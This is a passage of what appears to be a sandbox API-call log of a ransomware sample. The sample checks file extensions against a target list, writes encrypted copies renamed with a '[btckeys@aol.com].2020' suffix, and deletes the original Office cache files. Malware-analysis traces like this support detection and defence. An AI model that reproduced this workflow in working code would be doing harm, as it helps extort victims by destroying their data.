lpBuffer=0x39e0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dafc38, lpOverlapped=0x0 | out: lpBuffer=0x39e0058*, lpNumberOfBytesRead=0x2dafc38*=0x40000, lpOverlapped=0x0) returned 1 [0076.148] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.148] WriteFile (in: hFile=0x1b0, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2dafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0076.505] SetEndOfFile (hFile=0x1b0) returned 1 [0076.505] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3fb4fa8 [0076.515] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0076.516] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb4fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4fa8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.528] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x14d4b5, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0076.528] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb4fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4fa8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.542] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x3a7e1f, lpNewFilePointer=0x0, dwMoveMethod=0x2dafc7c | out: lpNewFilePointer=0x0) returned 1 [0076.542] WriteFile (in: hFile=0x1b0, lpBuffer=0x3fb4fa8*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dafc88, lpOverlapped=0x0 | out: lpBuffer=0x3fb4fa8*, lpNumberOfBytesWritten=0x2dafc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.544] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb4fa8 | out: hHeap=0x4b0000) returned 1 [0076.544] CloseHandle (hObject=0x1b0) returned 1 [0076.545] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0076.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.545] lstrlenW (lpString=".doc") returned 4 [0076.545] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0076.545] lstrlenW (lpString=".docx") returned 5 [0076.545] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0076.545] lstrlenW (lpString=".pdf") returned 4 [0076.545] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0076.545] lstrlenW (lpString=".xls") returned 4 [0076.545] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0076.545] lstrlenW (lpString=".xlsx") returned 5 [0076.545] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0076.545] lstrlenW (lpString=".ppt") returned 4 [0076.545] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0076.545] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.545] lstrlenW (lpString=".zip") returned 4 [0076.545] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString=".rar") returned 4 [0076.546] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString=".bz2") returned 4 [0076.546] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.546] lstrlenW (lpString=".7z") returned 3 [0076.546] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.546] lstrlenW (lpString=".dbf") returned 4 [0076.546] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.546] lstrlenW (lpString=".1cd") returned 4 [0076.546] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.546] lstrlenW (lpString=".jpg") returned 4 [0076.546] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.546] lstrlenW (lpString=".doc") returned 4 [0076.546] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString=".docx") returned 5 [0076.546] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0076.546] lstrlenW (lpString=".pdf") returned 4 [0076.546] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString=".xls") returned 4 [0076.546] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString=".xlsx") returned 5 [0076.546] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0076.546] lstrlenW (lpString=".ppt") returned 4 [0076.546] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0076.546] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.546] lstrlenW (lpString=".zip") returned 4 [0076.546] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0076.547] lstrlenW (lpString=".rar") returned 4 [0076.547] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0076.547] lstrlenW (lpString=".bz2") returned 4 [0076.547] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0076.547] lstrlenW (lpString=".7z") returned 3 [0076.547] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0076.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.547] lstrlenW (lpString=".dbf") returned 4 [0076.547] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0076.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.547] lstrlenW (lpString=".1cd") returned 4 [0076.547] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0076.547] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0076.547] lstrlenW (lpString=".jpg") returned 4 [0076.547] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0076.547] lstrcmpiW (lpString1=".EXE", lpString2=".2020") returned 1 [0076.547] lstrlenW (lpString="DW20.EXE") returned 8 [0076.547] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0076.779] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=838536) returned 1 [0076.779] CloseHandle (hObject=0x1e4) returned 1 [0076.779] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 0x2020 [0076.779] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0076.779] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0076.779] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.779] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0076.780] GetLastError () returned 0x0 [0076.780] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xccb88, lpOverlapped=0x0) returned 1 [0076.802] WriteFile (in: hFile=0x1dc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xccb90, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xccb90, lpOverlapped=0x0) returned 1 [0076.820] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0076.820] WriteFile (in: hFile=0x1dc, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xe4, lpOverlapped=0x0) returned 1 [0076.820] SetEndOfFile (hFile=0x1dc) returned 1 [0076.821] CloseHandle (hObject=0x1dc) returned 1 [0076.821] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0076.821] SetEndOfFile (hFile=0x1e4) returned 1 [0077.126] CloseHandle (hObject=0x1e4) returned 1 [0077.126] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.127] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dw20.exe")) returned 1 [0077.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.127] lstrlenW (lpString=".doc") returned 4 [0077.127] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0077.127] lstrlenW (lpString=".docx") returned 5 [0077.127] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0077.127] lstrlenW (lpString=".pdf") returned 4 [0077.127] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0077.127] lstrlenW (lpString=".xls") returned 4 [0077.127] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0077.127] lstrlenW (lpString=".xlsx") returned 5 [0077.127] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0077.127] lstrlenW (lpString=".ppt") returned 4 [0077.127] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0077.127] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.127] lstrlenW (lpString=".zip") returned 4 [0077.127] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0077.127] lstrlenW (lpString=".rar") returned 4 [0077.127] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0077.127] lstrlenW (lpString=".bz2") returned 4 [0077.127] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0077.127] lstrlenW (lpString=".7z") returned 3 [0077.127] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString=".dbf") returned 4 [0077.128] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString=".1cd") returned 4 [0077.128] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString=".jpg") returned 4 [0077.128] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString=".doc") returned 4 [0077.128] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0077.128] lstrlenW (lpString=".docx") returned 5 [0077.128] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0077.128] lstrlenW (lpString=".pdf") returned 4 [0077.128] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0077.128] lstrlenW (lpString=".xls") returned 4 [0077.128] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0077.128] lstrlenW (lpString=".xlsx") returned 5 [0077.128] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0077.128] lstrlenW (lpString=".ppt") returned 4 [0077.128] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString=".zip") returned 4 [0077.128] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0077.128] lstrlenW (lpString=".rar") returned 4 [0077.128] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0077.128] lstrlenW (lpString=".bz2") returned 4 [0077.128] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0077.128] lstrlenW (lpString=".7z") returned 3 [0077.128] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0077.128] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.128] lstrlenW (lpString=".dbf") returned 4 [0077.129] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0077.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.129] lstrlenW (lpString=".1cd") returned 4 [0077.129] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0077.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\DW20.EXE") returned 71 [0077.129] lstrlenW (lpString=".jpg") returned 4 [0077.129] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0077.129] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0077.129] lstrlenW (lpString="OfficeMUISet.msi") returned 16 [0077.129] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.129] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=868864) returned 1 [0077.129] CloseHandle (hObject=0x1e4) returned 1 [0077.129] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 0x2020 [0077.130] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.130] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.130] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.130] GetLastError () returned 0x0 [0077.130] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0xd4200, lpOverlapped=0x0) returned 1 [0077.197] WriteFile (in: hFile=0x1e8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xd4210, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xd4210, lpOverlapped=0x0) returned 1 [0077.209] ReadFile (in: hFile=0x1e4, lpBuffer=0x3960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dafed4, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesRead=0x2dafed4*=0x0, lpOverlapped=0x0) returned 1 [0077.209] WriteFile (in: hFile=0x1e8, lpBuffer=0x3960020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2dafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3960020*, lpNumberOfBytesWritten=0x2dafc9c*=0xf4, lpOverlapped=0x0) returned 1 [0077.209] SetEndOfFile (hFile=0x1e8) returned 1 [0077.209] CloseHandle (hObject=0x1e8) returned 1 [0077.209] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.209] SetEndOfFile (hFile=0x1e4) returned 1 [0077.247] CloseHandle (hObject=0x1e4) returned 1 [0077.247] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.247] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.msi")) returned 1 [0077.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.248] lstrlenW (lpString=".doc") returned 4 [0077.248] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.248] lstrlenW (lpString=".docx") returned 5 [0077.248] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.248] lstrlenW (lpString=".pdf") returned 4 [0077.248] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.248] lstrlenW (lpString=".xls") returned 4 [0077.248] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.248] lstrlenW (lpString=".xlsx") returned 5 [0077.248] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.248] lstrlenW (lpString=".ppt") returned 4 [0077.248] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.248] lstrlenW (lpString=".zip") returned 4 [0077.248] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.248] lstrlenW (lpString=".rar") returned 4 [0077.248] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.248] lstrlenW (lpString=".bz2") returned 4 [0077.248] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.248] lstrlenW (lpString=".7z") returned 3 [0077.248] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.248] lstrlenW (lpString=".dbf") returned 4 [0077.248] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.248] lstrlenW (lpString=".1cd") returned 4 [0077.248] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.248] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.248] lstrlenW (lpString=".jpg") returned 4 [0077.248] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.249] lstrlenW (lpString=".doc") returned 4 [0077.249] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.249] lstrlenW (lpString=".docx") returned 5 [0077.249] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0077.249] lstrlenW (lpString=".pdf") returned 4 [0077.249] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.249] lstrlenW (lpString=".xls") returned 4 [0077.249] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.249] lstrlenW (lpString=".xlsx") returned 5 [0077.249] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0077.249] lstrlenW (lpString=".ppt") returned 4 [0077.249] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.249] lstrlenW (lpString=".zip") returned 4 [0077.249] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.249] lstrlenW (lpString=".rar") returned 4 [0077.249] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.249] lstrlenW (lpString=".bz2") returned 4 [0077.249] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.249] lstrlenW (lpString=".7z") returned 3 [0077.249] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.249] lstrlenW (lpString=".dbf") returned 4 [0077.249] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.249] lstrlenW (lpString=".1cd") returned 4 [0077.249] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.249] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.msi") returned 79 [0077.249] lstrlenW (lpString=".jpg") returned 4 [0077.249] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.250] lstrcmpiW (lpString1=".msi", lpString2=".2020") returned 1 [0077.250] lstrlenW (lpString="AccessMUISet.msi") returned 16 [0077.250] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0077.250] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2daff1c | out: lpFileSize=0x2daff1c*=868864) returned 1 [0077.250] CloseHandle (hObject=0x1e4) returned 1 [0077.250] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi")) returned 0x2020 [0077.250] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.250] CreateFileW (lpFileName="C:\\MSOCache\\All 